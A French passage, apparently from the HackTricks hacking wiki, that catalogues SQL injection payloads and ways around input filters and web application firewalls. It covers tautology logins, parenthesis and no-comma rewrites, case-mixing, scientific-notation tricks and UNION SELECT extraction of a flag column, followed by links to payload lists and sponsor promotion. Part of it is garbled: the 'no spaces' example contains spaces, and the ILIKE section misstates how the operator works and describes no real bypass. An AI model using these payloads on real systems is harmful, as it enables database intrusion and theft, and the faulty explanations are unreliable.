Considérons la requête suivante:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password='[INJECTION POINT]'
|
||
```
|
||
|
||
Supposons que l'injection SQL soit la suivante:
|
||
|
||
```
|
||
' or '1'='1
|
||
```
|
||
|
||
La requête finale ressemblerait à ceci:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password='' or '1'='1'
|
||
```
|
||
|
||
Cependant, si la requête ne contient pas d'espaces, la technique précédente ne fonctionnera pas. Dans ce cas, nous pouvons utiliser des parenthèses pour contourner les filtres. La requête finale ressemblerait à ceci:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password=('')
|
||
OR ('1'='1')
|
||
```
|
||
|
||
Dans cet exemple, nous avons utilisé des parenthèses pour entourer la chaîne vide, ce qui nous permet d'ajouter notre injection SQL à l'intérieur des parenthèses. De cette façon, nous avons contourné les filtres de caractères et réussi à injecter notre code malveillant dans la requête.
|
||
|
||
## Conclusion
|
||
|
||
Lorsque vous êtes confronté à une injection SQL dans une requête sans espaces, utilisez des parenthèses pour contourner les filtres de caractères et injecter votre code malveillant.
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Contournement sans virgule
|
||
|
||
Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Contournements génériques
|
||
|
||
Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
# Contourner une liste noire de mots-clés insensible à la casse en utilisant un opérateur équivalent
|
||
|
||
Si une application utilise une liste noire de mots-clés pour filtrer les entrées de l'utilisateur, il est possible de contourner cette mesure de sécurité en utilisant un opérateur équivalent. Par exemple, si l'application filtre les entrées de l'utilisateur en utilisant la requête suivante :
|
||
|
||
```
|
||
SELECT * FROM users WHERE username NOT LIKE '%admin%' AND password = '$password';
|
||
```
|
||
|
||
Il est possible de contourner cette mesure de sécurité en utilisant l'opérateur équivalent `ILIKE` (pour PostgreSQL) ou `LIKE BINARY` (pour MySQL) :
|
||
|
||
```
|
||
SELECT * FROM users WHERE username NOT ILIKE '%admin%' AND password = '$password';
|
||
```
|
||
|
||
ou
|
||
|
||
```
|
||
SELECT * FROM users WHERE username NOT LIKE BINARY '%admin%' AND password = '$password';
|
||
```
|
||
|
||
Ces opérateurs sont équivalents à `LIKE`, mais ils sont sensibles à la casse. En utilisant ces opérateurs, il est possible de contourner une liste noire de mots-clés insensible à la casse.
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Bypass de WAF avec la notation scientifique
|
||
|
||
Vous pouvez trouver une explication plus détaillée de cette astuce dans le [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Essentiellement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Contourner la restriction des noms de colonnes
|
||
|
||
Tout d'abord, remarquez que si la **requête originale et la table à partir de laquelle vous voulez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
||
|
||
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL cela ressemblerait à :
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Ou en utilisant une **bypass de virgule**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Outils de suggestion de contournement de WAF
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Autres guides
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Liste de détection de force brute
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|